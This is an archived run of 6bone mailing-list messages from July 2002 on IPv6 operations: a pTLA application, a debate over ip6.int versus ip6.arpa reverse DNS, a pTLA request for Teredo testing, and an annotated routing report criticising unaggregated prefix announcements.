>is currently being upgraded and is not at this time ipv6 accessable.
>
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
>  EnterZone has maintained DNS forward and reverse records for
>nitrous.ipv6.enterzone.net (v4 or v6 looking-glass) and ipv6.enterzone.net
>(v6 only accessable website) in our nameservers since some time in
>1999.  In addition, all tunnel endpoint addresses have appropriate
>ip6.int entries.
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>  http://ipv6.enterzone.net/ while not pretty, includes up-to-date
>information about EnterZones IPv6 site and services.
>
>  http://nitrous.ipv6.enterzone.net/ is our IPv6 looking-glass running the
>MRLG code that I wrote.
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
>  EnterZone maintains a 24x7 network operations center and has multiple
>contacts associated with our ipv6-site object with appropriate person
>objects registered in the 6bone registry.
>
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
>  EnterZone maintains the ipv6@enterzone.net mail alias that goes to all
>network operations staff which is indicated in the notify attribute of our
>ipv6-site object.
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>  EnterZone is a regional NSP providing in High-Security Datacenter
>services, dedicated connectivity services and colocation services.  We
>count 4 dialup providers among our customers and are working with these
>providers in hopes to facilitate native IPv6 access services for their
>dialup customers in the future.  In addition, EnterZone owns and operates
>the CMH-IX NAP [http://www.cmh-ix.net] and plans on implementing IPv6
>route servers at the exchange and encouraging native IPv6 peering
>among its participants.
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>  EnterZone has strived to abide by the 6bone operational rules since
>the time of our connection to the 6bone in March of 1999.  In recent
>weeks, as a matter of necessity, we have been forced to announce our
>specific 3ffe:1ced::/32 and request that our BGP peers accept and
>redistribute this de-aggregated prefix to maintain connectivity for our
>downstream IPv6 clients.  This was necessary because the pTLA from which
>we have our pNLA allocation has been unresponsive in modifying a tunnel
>configuration.  This modification was necessary because of events beyond
>our control.  Had our pTLA been responsive, we would never have announced
>the more specific prefix however.  Since March of 1999, this is the ONLY
>instance in which we have not abided by the 6bone operational
>rules.  Please understand that we only announced our specific pNLA to
>maintain connectivity because our pTLA was, and remains unresponsive.  I
>tried multiple emails, telephone calls, and ultimately a broadcast email
>to the 6bone list to no avail.
>
>
>Thank you for your consideration.
>
>
>
>---
>John Fraizer              | High-Security Datacenter Services |
>EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
>http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From randy@psg.com Wed Jul 24 22:28:54 2002
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Subject: Re: [6bone] ip6.int or ip6.arpa or BOTH?
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	<20020725005333.DB36B7E04@beowulf.gw.com>
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> It would be nice to have ip6.arpa for 3ffe::/16, too...  :-)

soon

randy


From pim@ipng.nl Wed Jul 24 22:36:54 2002
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From: Pim van Pelt <pim@ipng.nl>
To: John Fraizer <tvo@EnterZone.Net>
Cc: Kimmo Suominen <kim@tac.nyc.ny.us>, 6bone@ISI.EDU, hostmaster@arin.net,
   v6@arin.net
Subject: Re: [6bone] ip6.int or ip6.arpa or BOTH?
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John,

At RIPE42 (the last meeting) it was proposed to start delegating in
ip6.arpa (and keeping ip6.int for backwards compatibility) for each new
request made after the 1st of July. The .int variant is supposed to be
deprecated by RFC3152, but still widely used in the field for both 3ffe
and 2001 networks.

I remember having checked up on some of my own 2001 allocations a couple
of months ago, and was quite sure that there was no .arpa delegation for
me. Some weeks ago it mysteriously appeared. It's somewhere on my
wishlist to create both delegations (ip6.int and ip6.arpa) by generating
the one from the other, like Kim said.

Debian also had a 'messup' a year ago when they suddonly decided to only
resolve in .arpa, rendering Debian boxes without a reversed resolver for
a while. They reverted to .int resolving due to complaints from the
field ( ;-) ).

I think it is time to start resolving .arpa zonefiles. I'd advise you to
simply keep both and use something along the lines of what Kim has
proposed (the Makefile).

houdoe
Pim

On Wed, Jul 24, 2002 at 09:56:32PM -0400, John Fraizer wrote:
| 
| On Wed, 24 Jul 2002, Kimmo Suominen wrote:
| 
| > | From:    John Fraizer <tvo@EnterZone.Net>
| > | Date:    Wed, 24 Jul 2002 21:19:24 -0400
| > |
| > | OK.
| > |
| > |  (1) What is nibble format?
| > 
| > $ORIGIN 2.0.0.0.c.0.0.b.0.0.9.2.e.f.f.3.ip6.arpa.
| > 8.1.5.7.c.1.e.f.f.f.2.e.4.0.2.0 IN PTR beowulf.gw.com.
| > 
| > Regards,
| > + Kim
| 
| OK.  That's how I've been doing things thus far.  Now, I find a new
| problem.
| 
| It doesn't appear that ARIN has delegated ip6.arpa for 2001:4f0::/35 to
| me.
| 
| ; <<>> DiG 9.1.0 <<>> @arrowroot.arin.net soa
| 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.f.4.0.1.0.0.2.ip6.arpa
| ;; global options:  printcmd
| ;; Got answer:
| ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 46690
| ;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
| 
| ;; QUESTION SECTION:
| ;1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.f.4.0.1.0.0.2.ip6.arpa. IN
| SOA
| 
| ;; AUTHORITY SECTION:
| 4.0.1.0.0.2.ip6.arpa.   10800   IN      SOA
| arrowroot.arin.net. bind.arin.net. 2002041212 10800 3600 1209600 10800
| 
| ;; Query time: 100 msec
| ;; SERVER: 198.133.199.110#53(arrowroot.arin.net)
| ;; WHEN: Wed Jul 24 21:45:16 2002
| ;; MSG SIZE  rcvd: 149
| 
| 
| 
| > 4.0.1.0.0.2.ip6.arpa
| Server:         arrowroot.arin.net
| Address:        198.133.199.110#53
| 
| 4.0.1.0.0.2.ip6.arpa
|         origin = arrowroot.arin.net.
|         mail addr = bind.arin.net.
|         serial = 2002041212
|         refresh = 10800
|         retry = 3600
|         expire = 1209600
|         minimum = 10800
| 
| > 0.f.4.0.1.0.0.2.ip6.arpa
| Server:         arrowroot.arin.net
| Address:        198.133.199.110#53
| 
| ** server can't find 0.f.4.0.1.0.0.2.ip6.arpa.: NXDOMAIN
| 
| 
| Isn't THAT special.  It doesn't look like the ip6.arpa zone has been
| updated at ARIN since April 12, 2002.
| 
| 
| [whois.arin.net]
| EnterZone, Inc (ENTERZONE-V6)
|    6227 Headley Road
|    Gahanna, OH 43230
|    US
| 
|    Netname: ENTERZONE-V6
|    Netnumber: 2001:04F0:0000:0000:0000:0000:0000:0000/35
| 
|    Maintainer: V6ZN
| 
|    Coordinator:
|      Fraizer, John (JF1998-ARIN)  John.Fraizer@ENTERZONE.NET
|      +1 614 554-4356
| 
|    Domain System inverse mapping provided by:
|    NS1.ENTERZONE.NET
|    NS2.ENTERZONE.NET
| 
|    Record last updated on 18-Jul-2002.
| 
| It would be nice if the ip6.arpa records were REALLY delegated to my
| nameservers.
| 
| 
| ---
| John Fraizer              | High-Security Datacenter Services |
| EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
| http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |
| 
| 
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From fink@es.net Wed Jul 24 22:56:15 2002
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Date: Wed, 24 Jul 2002 22:50:04 -0700
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From: Bob Fink <fink@es.net>
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Subject: [6bone] pTLA for Teredo testing - review closes 7 August 2002
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6bone Folk,

Christian Huitema has requested a pTLA allocation for Teredo ("Tunneling 
IPv6 over UDP through NATs") service. I believe this request should be 
reviewed and discussed for approval.

The open review period for this will close 7 August 2002. Please send your 
comments to me or the list.

<http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-shipworm-06.txt>

Note that Teredo was previously called SHIPWORM so is under that name in 
the I-D directory


Thanks,

Bob

===

>Subject: Prefix for Teredo
>Date: Tue, 23 Jul 2002 18:04:11 -0700
>From: "Christian Huitema" <huitema@windows.microsoft.com>
>To: "Bob Fink" <fink@es.net>
>
>Bob,
>
>I am currently rewriting the Teredo draft to make it more IESG-friendly.
>To experiment with the new design, we will need a "reasonable" IPv6
>prefix. In the original draft, I requested a /16, but that is perhaps
>not realistic; in practice, I believe I could do with a /32. Is it
>possible to get an experimental /32 prefix from the 6BONE allocation?
>
>-- Christian Huitema



From jeroen@unfix.org Thu Jul 25 04:20:08 2002
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   <kuznet@ms2.inr.ac.ru>
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Subject: [6bone] Summer cleanup time for IPv6 aggregation!
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Boo,

Okay, let's take a looky at this nice long filthy list of today
(07/24/02 6Bone Routing Report).
I cut out:
 - Prefixes from Different Origin AS
 - Unknown AS Numbers (not in 6bone registry)
 - The Top Five Most Active Prefixes (more than 1000 changes)
Those shouldn't happen either, but the below stuff is something we
shouldn't be seeing at all in the global routing tables.

By the way AS45589 (which is part of 32768 - 64511) is reserved and it
is causing a lot of crap.
Watch the cutlines for comments. 'Big' spillers are cc'd.
And avoid reading the sarcasm ;)

8<-------------------
See http://www.merit.edu/ipma for a more detailed report on routing 
problems and recommendations on ways service providers can limit the 
spread of invalid routing information.
Send comments and questions to ipma-support@merit.edu

To unsubscribe from this list, send mail to 
    6bone-routing-report-request@merit.edu.
A hypermail archive is available at
    http://www.merit.edu/mail.archives/html/6bone-routing-report/

Also see http://www.caida.org for more information about Internet 
statistics collection research efforts.

---------------------------------------------
This report is for 07/24/02, peering with
  VIAGENIE (AS10566)  UUNET-US (AS12199)  CICNET (AS1225)   (AS13676)
UNAM (AS278)  MIT-SIPB (AS3)  ETRI (AS3748)  CERNET (AS4538)  SPRINT
(AS6175)  STEALTH (AS8002)  INTEC (AS9612)
---------------------------------------------

Size of 6Bone Routing Table:
    Max = 363, Min = 296, Average = 331
    119 pTLAs (in 3ffe::/16), 134 sTLAs (in 2001::/16)
    239 Unique Autonomous System (AS) numbers

BGP4+ Traffic Summary:  
    Announcements = 23443    Withdraws = 7524   Unique Routes = 403

Poorly Aggregated Announcements (>24 in 3ffe:0000::/18 or >28 in
3ffe:8000::/17 or >32 in 3ffe:4000::/18  or >35 in 2001::/16):
Format: Prefix path AS-Path (Origin-AS -- Availability)
 asterisk(*) means the route is within its pTLA
--------------------------------
VIAGENIE (AS10566) announced 26 route(s)
    2001:6e0:20c:10::/128 path 10566 12523
(BUGFR/DELTA6-FR/DWAR/EUREDIT-FR -- 0%)
    2001:6e0:0:10e::1/128 path 10566 12523
(BUGFR/DELTA6-FR/DWAR/EUREDIT-FR -- 0%)
    2001:6e0:20c:10::b/128 path 10566 12523
(BUGFR/DELTA6-FR/DWAR/EUREDIT-FR -- 0%)
    2001:6e0:20c:10::9/128 path 10566 12523
(BUGFR/DELTA6-FR/DWAR/EUREDIT-FR -- 0%)
    2001:6e0:20c:10::7/128 path 10566 12523
(BUGFR/DELTA6-FR/DWAR/EUREDIT-FR -- 0%)
    2001:6e0:20c:8::1/128 path 10566 12523
(BUGFR/DELTA6-FR/DWAR/EUREDIT-FR -- 0%)
    2001:6e0:20c:10::4/128 path 10566 12523
(BUGFR/DELTA6-FR/DWAR/EUREDIT-FR -- 0%)
    2001:6e0:20c:b::2/128 path 10566 12523
(BUGFR/DELTA6-FR/DWAR/EUREDIT-FR -- 0%)
    2001:730:3::1:14/128 path 10566 12523
(BUGFR/DELTA6-FR/DWAR/EUREDIT-FR -- 0%)
    3ffe:1300:4:1::/64 path 10566 6939 6347 (SAVVIS -- 52%)
    3ffe:1300:4:3::/64 path 10566 6939 6347 (SAVVIS -- 52%)
    3ffe:1300:4:4::/64 path 10566 6939 6347 (SAVVIS -- 52%)
    3ffe:1200:3028:88a0::/64 path 10566 6939 3327 ( -- 51%)
    3ffe:1300:4:2::/64 path 10566 6939 6347 (SAVVIS -- 52%)
    2001:7f8:1::/64 path 10566 6939 3549 (GLOBALCENTER -- 52%)
    2001:6e0:20c::/64 path 10566 12523 (BUGFR/DELTA6-FR/DWAR/EUREDIT-FR
-- 0%)
    2001:6e0:20c:1::/64 path 10566 12523
(BUGFR/DELTA6-FR/DWAR/EUREDIT-FR -- 0%)
--------->8
Ehmm announcing and accepting /128's and /64's, how many entries do we
want to have in the global routing table?
Viagenie shouldn't accept these foreigns at all, private peering okay,
but don't even try to announce it to the
rest of the world.

ipv6-site:    NORTEL
origin:       AS762
descr:        Nortel Networks, Billerica, MA
country:      US
prefix:       3FFE:1300::/24

Cuddo's 2001:7f8:1::/64, the AMSiX IPv6 range in the US ;)

ipv6-site:    CHELLO
origin:       AS6830
descr:        Chello Broadband
country:      NL
prefix:       2001:730::/35

And those 2001:6e0::/32's should have been filtered too...

8<---------
  * 3ffe:b00:4054::/48 path 10566 3758 (SINGNET -- 52%)
    2001:6e0:20c::/48 path 10566 12523 (BUGFR/DELTA6-FR/DWAR/EUREDIT-FR
-- 0%)
    3ffe:3700:1f00::/48 path 10566 6939 209 (R0XX/R0XX-2 -- 52%)
    3ffe:81d0:104::/48 path 10566 6939 4181 ( -- 52%)
    3ffe:8070:1015::/48 path 10566 6939 11237 (EAFIT -- 52%)
    3ffe:1300:4::/48 path 10566 6939 6347 (SAVVIS -- 52%)
    2001:2b8:80::/41 path 10566 3786 17832 ( -- 52%)
    2001:410:400::/40 path 10566 6939 818 ( -- 52%)
    3ffe:2c03::/32 path 10566 2012
(ELTE-INF/MADNET/RIEB/PSZFB-NET/KOMJATA-KOLL/NEXCOM/DUNE/JGYTF/T-NET/STA
JI/PR -- 52%)
--------->8
That last /32 is a delegation from BT-LABS:

inet6num:     3FFE:2C00::/24
netname:      BT-LABS
descr:        pTLA delegation for the 6bone

But that doesn't mean those /32's should appear.

8<---------
UUNET-US (AS12199) announced 20 route(s)
    3ffe:28ff:ffff:4::103/127 path 12199 (UUNET-US -- 100%)
    3ffe:28ff:ffff:4::100/127 path 12199 (UUNET-US -- 100%)
  * 3ffe:8090:7f00:1::1:0/112 path 12199 (UUNET-US -- 100%)
  * 3ffe:8090:7f00:1::2:0/112 path 12199 (UUNET-US -- 100%)
    3ffe:3800::11:0/112 path 12199 (UUNET-US -- 100%)
    3ffe:3800::13:0/112 path 12199 (UUNET-US -- 100%)
  * 3ffe:8090:4800:cfff::b:0/112 path 12199 (UUNET-US -- 100%)
  * 3ffe:8090:4800:4fff::2:0/112 path 12199 (UUNET-US -- 100%)
  * 3ffe:8090:48fc:10::1:0/112 path 12199 (UUNET-US -- 100%)
    3ffe:3800::10:0/112 path 12199 (UUNET-US -- 100%)
  * 3ffe:8090:4800:cfff::9:0/112 path 12199 (UUNET-US -- 100%)
    3ffe:3800::12:0/112 path 12199 (UUNET-US -- 100%)
  * 3ffe:8090:4800:cfff::7:0/112 path 12199 (UUNET-US -- 96%)
  * 3ffe:8090:4800:cfff::3:0/112 path 12199 (UUNET-US -- 100%)
  * 3ffe:8090:4800:cfff::1:0/112 path 12199 (UUNET-US -- 100%)
  * 3ffe:8090:4800:c005::/64 path 12199 (UUNET-US -- 100%)
  * 3ffe:8090:4800:4e20::/64 path 12199 (UUNET-US -- 100%)
  * 3ffe:8090:4800:c000::/64 path 12199 (UUNET-US -- 100%)
  * 3ffe:8090:4800:ce50::/60 path 12199 (UUNET-US -- 100%)
  * 3ffe:8090:4800:ce10::/60 path 12199 (UUNET-US -- 100%)
--------->8
inet6num:     3FFE:8090::/28
netname:      UUNET-US
descr:        pTLA delegation for the 6bone

I wonder why UUNET gives out these more specifics to their peers, one
word "aggregate".

inet6num:     3FFE:3800::/24
netname:      FIBERTEL
descr:        pTLA delegation for the 6bone

inet6num:     3FFE:2800::/24
netname:      VBNS
descr:        pTLA delegation for the 6bone

8<---------
CHELLO (AS6830) announced 16 route(s)
    3ffe:2501:100::/48 path 10566 6939 6830 8733 (TVD -- 52%)
    3ffe:8070:1010::/48 path 12199 145 11537 786 109 4618 (INET-TH --
4%)
    3ffe:8070:1010::/48 path 10566 6939 6830 (CHELLO -- 52%)
    3ffe:2900:2004::/48 path 12199 145 11537 786 109 4618 (INET-TH --
4%)
    3ffe:2900:2004::/48 path 10566 6939 6830 (CHELLO -- 52%)
    3ffe:1300:7::/48 path 12199 145 11537 786 109 4618 (INET-TH -- 4%)
    3ffe:1300:7::/48 path 10566 6939 6830 (CHELLO -- 52%)
    3ffe:327e:1::/48 path 12199 145 11537 786 109 4618 (INET-TH -- 4%)
    3ffe:327e:1::/48 path 10566 6939 6830 (CHELLO -- 52%)
    3ffe:4005:a::/48 path 12199 145 11537 786 109 4618 (INET-TH -- 4%)
    3ffe:4005:a::/48 path 10566 6939 6830 (CHELLO -- 52%)
    3ffe:80ee:556::/48 path 12199 145 11537 786 109 4618 (INET-TH -- 4%)
    3ffe:80ee:556::/48 path 10566 6939 6830 (CHELLO -- 52%)
    3ffe:200:c::/48 path 10566 6939 6830 2847 ( -- 52%)
    3ffe:80b0:1002::/48 path 10566 6939 6830 8733 (TVD -- 52%)
    2001:6e0:202::/48 path 12199 145 11537 786 109 5539 1853 6830 8209 (
-- 4%)
    3ffe:400b:6002::/48 path 12199 145 11537 786 109 4618 (INET-TH --
4%)
    3ffe:400b:6002::/48 path 10566 6939 6830 (CHELLO -- 100%)
    3ffe:81a0:1012::/48 path 12199 145 11537 786 109 4618 (INET-TH --
4%)
    3ffe:81a0:1012::/48 path 10566 6939 6830 (CHELLO -- 52%)
    3ffe:2500:322::/48 path 12199 145 11537 786 109 4618 (INET-TH -- 4%)
    3ffe:2500:322::/48 path 10566 6939 6830 (CHELLO -- 52%)
    3ffe:8271:a080::/44 path 12199 145 11537 786 109 4618 (INET-TH --
4%)
    3ffe:8271:a080::/44 path 10566 6939 6830 (CHELLO -- 52%)
    3ffe:82bf::/32 path 10566 6939 6830 24643 (NEXTGEN-LAB -- 52%)
    3ffe:2640::/32 path 10566 6939 6830 790 6793 (TELIAFI -- 51%)
--------->8
And even more /48's, /44's and /32's and even double entries, great to
spread those.

inet6num:     3FFE:82B0::/28
netname:      WEBONLINE-NET
descr:        WebOnline AS

Keep those peerings private...

8<---------
IPV6-BITS-IN (AS4755) announced 8 route(s)
  * 3ffe:81e0:2:ffff::/128 path 10566 4755 (IPV6-BITS-IN -- 52%)
  * 2001:208:1:fd03::/80 path 10566 4755 (IPV6-BITS-IN -- 52%)
  * 3ffe:81e0::/64 path 10566 4755 (IPV6-BITS-IN -- 52%)
  * 3ffe:2e01:60::/64 path 10566 4755 (IPV6-BITS-IN -- 52%)
  * 3ffe:b00:4002::/64 path 10566 4755 (IPV6-BITS-IN -- 50%)
  * 2001:208:1:fd03::/64 path 10566 4755 (IPV6-BITS-IN -- 52%)
  * 3ffe:2e01:60::/48 path 10566 4755 (IPV6-BITS-IN -- 52%)
  * 3ffe:b00:4002::/48 path 10566 4755 (IPV6-BITS-IN -- 52%)
--------->8
3ffe:81e0:2:ffff::/128 yeah I really would like to know globally where
that tunnel endpoint goes ;)
3ffe:b00:4002::/64 "My office network is over here"...

8<---------
SMS (AS3274) announced 7 route(s)
    2001:6c0:1fff:ffd0::/60 path 10566 6939 3274 2586 3249 ( -- 52%)
    2001:6c0:2::/48 path 10566 6939 3274 2586 3249 ( -- 52%)
    2001:670:8b::/48 path 10566 6939 3274 2586 3327 ( -- 52%)
    3ffe:200:3a::/48 path 10566 6939 3274 2586 (UNINET -- 52%)
    3ffe:200:48::/48 path 10566 6939 3274 2586 3327 ( -- 52%)
    3ffe:200:25::/48 path 10566 6939 3274 2586 3221 (UT -- 52%)
    2001:618:800::/42 path 10566 6939 3274 719 ( -- 52%)

ABILENE (AS11537) announced 6 route(s)
    2001:468:1f02::/48 path 12199 145 11537 6356 (UFL -- 4%)
    2001:468:1f04::/48 path 12199 145 11537 6366 ( -- 4%)
    2001:468:1f05::/48 path 12199 145 11537 7450 ( -- 4%)
    2001:468:1f06::/48 path 12199 145 11537 11956 ( -- 4%)
    2001:468:1300::/40 path 12199 145 11537 5786 ( -- 4%)
    3ffe:2807::/32 path 10566 22 11537 195 (SDSCNET -- 52%)
---------->8
ABILENE-IPV6 2001:0468:0000:0000:0000:0000:0000:0000/35
Record last updated on 12-Mar-2001.
Quite old, shouldn't those be /32's yet ?

inet6num:     3FFE:2800::/24
netname:      VBNS
descr:        pTLA delegation for the 6bone

8<--------
CERNET (AS4538) announced 4 route(s)
    3ffe:c00:8023:4a::/64 path 12199 145 11537 786 5623 6939 4538 65272
(TELEPONT -- 4%)
    3ffe:80b0:100::/48 path 4538 13226 (STBEN-BE -- 99%)
    3ffe:2b00:1003::/48 path 4538 15180 (DIVEO-BR -- 100%)
    3ffe:1200:3028::/48 path 4538 6939 (LJOSA/HURRICANE -- 99%)

CISCO (AS109) announced 4 route(s)
    2001:630:80::/48 path 10566 6939 109 3185 (ULANC -- 52%)
    3ffe:200:77::/48 path 10566 6939 109 5550 ( -- 52%)
    3ffe:8271:a100::/44 path 10566 6939 109 5550 ( -- 52%)
    2001:420::/40 path 10566 6939 109 (CISCO -- 52%)
------>8
Even cisco :(

8<-----
ATT-LABS-EUROPE (AS5623) announced 3 route(s)
    2001:410:600::/40 path 12199 145 11537 786 5623 6939 818 6509 549
(SNO/SIDESHOW -- 4%)
    3ffe:b00:2000::/40 path 12199 145 11537 786 5623 6939 818 ( -- 4%)
    2001:410:200::/40 path 12199 145 11537 786 5623 6939 818 6509 8111 (
-- 4%)

XS4ALL-NL (AS3265) announced 3 route(s)
    3ffe:8271::/32 path 12199 145 11537 1103 3265 (XS4ALL-NL -- 61%)
    3ffe:2c01::/32 path 12199 145 11537 1103 3265 (XS4ALL-NL -- 61%)
    3ffe:81f1::/32 path 12199 145 11537 1103 3265 (XS4ALL-NL -- 61%)

BELNET-BE (AS2611) announced 3 route(s)
  * 3ffe:80b0:1001::/48 path 10566 6939 6830 8733 2611 6774 (BELBONE-BE
-- 52%)
  * 3ffe:608:2::/48 path 10566 6939 6830 8733 2611 (BELNET-BE -- 52%)
  * 2001:6a8:802::/48 path 10566 9044 5539 3561 5511 2611 (BELNET-BE --
52%)

VERAT (AS15982) announced 3 route(s)
    3ffe:400:10e0::/48 path 12199 145 11537 786 109 15982 (VERAT -- 4%)
  * 3ffe:80a0:1005::/48 path 12199 145 11537 786 109 15982 (VERAT -- 4%)
  * 3ffe:8271:a090::/44 path 12199 145 11537 786 109 15982 (VERAT -- 4%)

SPACENET-DE (AS5539) announced 2 route(s)
    2001:650:10::/48 path 10566 9044 5539 3561 15709 ( -- 52%)
    3ffe:8034::/34 path 10566 9044 5539 1853 (COSY -- 52%)

UDG (AS2549) announced 2 route(s)
  * 3ffe:82f0:ffff::/126 path 10566 5408 2549 (UDG -- 52%)
    3ffe:8240:8012::/48 path 10566 6939 2549 (UDG -- 52%)

SPRINT (AS6175) announced 2 route(s)
  * 3ffe:290a::/32 path 12199 145 4554 6939 3265 15897 6175 (SPRINT --
19%)
  * 3ffe:29a2::/32 path 12199 145 4554 6939 3265 15897 6175 11261 (ASCI
-- 19%)

NOKIA (AS14277) announced 2 route(s)
    3ffe:a00:13::/48 path 10566 6939 14277 14609 ( -- 52%)
    2001:670:8c::/48 path 10566 6939 14277 286 ( -- 52%)

INR (AS2895) announced 2 route(s)
  * 3ffe:2406::/32 path 10566 22 109 2895 20515 ( -- 0%)
  * 3ffe:240b::/32 path 10566 22 109 2895 13032 (KUN-6 -- 0%)
------->8
inet6num:     3FFE:2400::/24
netname:      INR
descr:        pTLA delegation for the 6bone
descr:        Institute for Nuclear Resarch
              Moscow, Russia
The word in the topic: aggregate.
Btw 'research'... and no you can't have my LOC coordinates ;)

8<-------
INET-TH (AS4618) announced 2 route(s)
    3ffe:b00:4056::/48 path 12199 145 11537 786 109 4618 (INET-TH -- 4%)
    3ffe:b00:4050::/48 path 12199 145 11537 786 109 4618 (INET-TH -- 4%)

INTEC (AS9612) announced 1 route(s)
    2001:200:500::/40 path 10566 6939 3549 9612 (INTEC -- 52%)

UUNET-NL (AS1890) announced 1 route(s)
    2001:600:8::/48 path 4538 1890 (UUNET-NL -- 100%)

UNI-C (AS1835) announced 1 route(s)
    2001:6b0:8::/48 path 12199 145 11537 1103 6680 2603 1835 (UNI-C --
4%)

BT-LABS (AS1752) announced 1 route(s)
    2001:7f8:2::/48 path 10566 6939 1752 (BT-LABS -- 52%)

FUNET (AS1741) announced 1 route(s)
    3ffe:2620::/32 path 10566 6939 6830 790 1741 (FUNET -- 51%)

JOIN (AS1275) announced 1 route(s)
    3ffe:2100:1:17::/64 path 4538 1275 (JOIN -- 97%)

SWITCH (AS559) announced 1 route(s)
  * 2001:620:204::/48 path 10566 9044 5539 3561 5511 2611 559 (SWITCH --
52%)

REDIRIS (AS766) announced 1 route(s)
    2001:7e0:c02::/48 path 10566 9044 5539 1853 6680 1103 766 12359
(INTELIDEAS -- 52%)

ENTERZONE (AS13944) announced 1 route(s)
  * 3ffe:1ced::/32 path 10566 6939 13944 (ENTERZONE -- 46%)
8<-----
We know the reason of this one ;)

----->8
SURFNET (AS1103) announced 1 route(s)
    2001:6b0:4::/48 path 12199 145 11537 1103 6680 2603 (NORDUNET -- 4%)

ASNET (AS9264) announced 1 route(s)
    2001:288:3b0::/44 path 10566 6939 3549 9264 (ASNET -- 52%)

UNAM (AS278) announced 1 route(s)
  * 2001:448:3::/48 path 278 18592 (CUDI -- 28%)

EURNETCITY (AS20794) announced 1 route(s)
    3ffe:b80:731::/48 path 10566 6939 6830 20794 (EURNETCITY -- 44%)

CERN (AS513) announced 1 route(s)
    2001:620:61c::/48 path 12199 145 11537 1103 6680 559 513 (CERN --
4%)

DOLPHINS-CH (AS8758) announced 1 route(s)
  * 3ffe:8150:2001::/48 path 10566 9044 8758 (DOLPHINS-CH -- 52%)

MERIT (AS237) announced 1 route(s)
    2001:468:1400::/40 path 12199 145 11537 237 (MERIT -- 4%)
--------->8

As you can see many un-aggregated prefixes, for things like /128, /64
and /48 there
is really no excuse for seeing them in the global routing table at some
points in this world.

Let the summer cleanup begin.

Greets,
 Jeroen


From narten@us.ibm.com Thu Jul 25 06:32:04 2002
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To: Bob Fink <fink@es.net>
cc: 6BONE List <6bone@mailman.isi.edu>,
   Christian Huitema <huitema@microsoft.com>
Subject: Re: [6bone] pTLA for Teredo testing - review closes 7 August 2002 
In-Reply-To: Message from  "Wed, 24 Jul 2002 22:50:04 PDT." <5.1.0.14.0.20020724222842.025c9768@imap2.es.net> 
Date: Thu, 25 Jul 2002 09:30:53 -0400
From: Thomas Narten <narten@us.ibm.com>
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> Christian Huitema has requested a pTLA allocation for Teredo ("Tunneling 
> IPv6 over UDP through NATs") service. I believe this request should be 
> reviewed and discussed for approval.

I'd like to better understand:

- what is being requested exactly. Will any prefix of length /32 or
  shorter work? (this is a purely technical question)

- What will this allocation be used for? experimentation and testing?
  Note that 6bone addresses are intended for experimentation, and must
  be returned at some point in the future. Thus, if this allocation
  will in practice be used in some sort of permanent sense (e.g.,
  hardcoded in to-be-shipped products), using a pTLA seems
  inappropriate.

Thomas

From galania@ipv6.inictel.gob.pe Thu Jul 25 06:56:05 2002
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Subject: Re: [6bone] ip6.int or ip6.arpa or BOTH?
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The rule podria to be segun your version DNS that you use, I use bind 
9,2 and this she is for the inverse one:

zone  "xxx.xxx.xxx.in-addr.arpa" {
        type master;
        file  "xxx.xxx.xxx.in-addr.arpa.zone";


John Fraizer wrote:

>For reverse records, which zones should I be creating?  ip6.arpa or
>ip6.int?  Traces from some places show our reverse and some do not.  I
>have some machines (all using the same DNS servers) that show our reverse
>on our nets and some that do not.  The machines that don't show ours WILL
>show *some* other networks reverses for ipv6 addresses.
>
>So, can someone tell me how I should be set up?  I currently have ip6.int
>zones.
>
>
>---
>John Fraizer              | High-Security Datacenter Services |
>EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
>http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |
>
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone
>




From fink@es.net Thu Jul 25 07:23:14 2002
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Date: Thu, 25 Jul 2002 07:23:05 -0700
To: Thomas Narten <narten@us.ibm.com>
From: Bob Fink <fink@es.net>
Subject: Re: [6bone] pTLA for Teredo testing - review closes 7 August
  2002 
Cc: 6BONE List <6bone@mailman.isi.edu>,
   Christian Huitema <huitema@microsoft.com>
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Thomas,

At 09:30 AM 7/25/2002 -0400, Thomas Narten wrote:
> > Christian Huitema has requested a pTLA allocation for Teredo ("Tunneling
> > IPv6 over UDP through NATs") service. I believe this request should be
> > reviewed and discussed for approval.
>
>I'd like to better understand:
>
>- what is being requested exactly. Will any prefix of length /32 or
>   shorter work? (this is a purely technical question)
>
>- What will this allocation be used for? experimentation and testing?
>   Note that 6bone addresses are intended for experimentation, and must
>   be returned at some point in the future. Thus, if this allocation
>   will in practice be used in some sort of permanent sense (e.g.,
>   hardcoded in to-be-shipped products), using a pTLA seems
>   inappropriate.

In the pTLA review announcement the requesting email from Christian (see 
below) was included. It states an experimental /32.

I do not know if it will be hardcoded.

